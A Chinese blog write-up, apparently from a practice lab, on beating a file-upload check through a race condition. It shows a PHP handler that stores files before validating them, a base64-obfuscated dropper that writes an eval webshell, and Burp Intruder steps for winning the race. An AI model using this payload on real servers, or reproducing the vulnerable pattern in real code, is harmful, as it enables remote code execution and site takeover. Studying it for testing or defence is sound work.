文件上傳之條件競爭


文件上傳-條件競爭

作者:Mi2ac1e

培訓:https://tysec.top/?p=792

一直以來都知道文件上傳中有一個繞過方法是條件競爭,但沒有實際試驗過。於是在今天實驗的過程中發現了一些問題,寫這篇文章記錄一下。

0x01 代碼分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上傳出錯!';
}

}

代碼分析:先將文件上傳到服務器中,再判斷文件后綴是否在白名單里面。如果在則重命名,否則刪除。

明顯缺陷在於:先將文件上傳到服務器中並且該操作沒有重命名我們上傳的文件。這就可以讓我們有了可乘之機:只要知道我們將文件上傳到了哪,就可以設置burp一直上傳、一直訪問。

0x02 漏洞利用

為了萬無一失,我並沒有將上傳的php直接寫成一句話木馬,而是訪問這個文件即可生成一個webshell

需要上傳的php代碼:

<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>

這里需要寫入的內容使用了base64加密,原因是如果你直接將$a=一句話木馬,生成的文件中將不會含有$_POST['xxx'] 所以我們需要使用base64加密

我把這個文件命名為tjjz.php

上傳文件的Burp-intruder:


盡管你后面使用Null payload,但仍然需要設定一個變量。而且這個變量最好是空格作為變量。否則他的請求包會變成這樣:

(隨便設置變量並選擇Null payloads的下場,他會將變量變成空)

訪問地址的Burp-intruder:


0x03結果呈現


蟻劍連接生成的shell.php 密碼 a


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM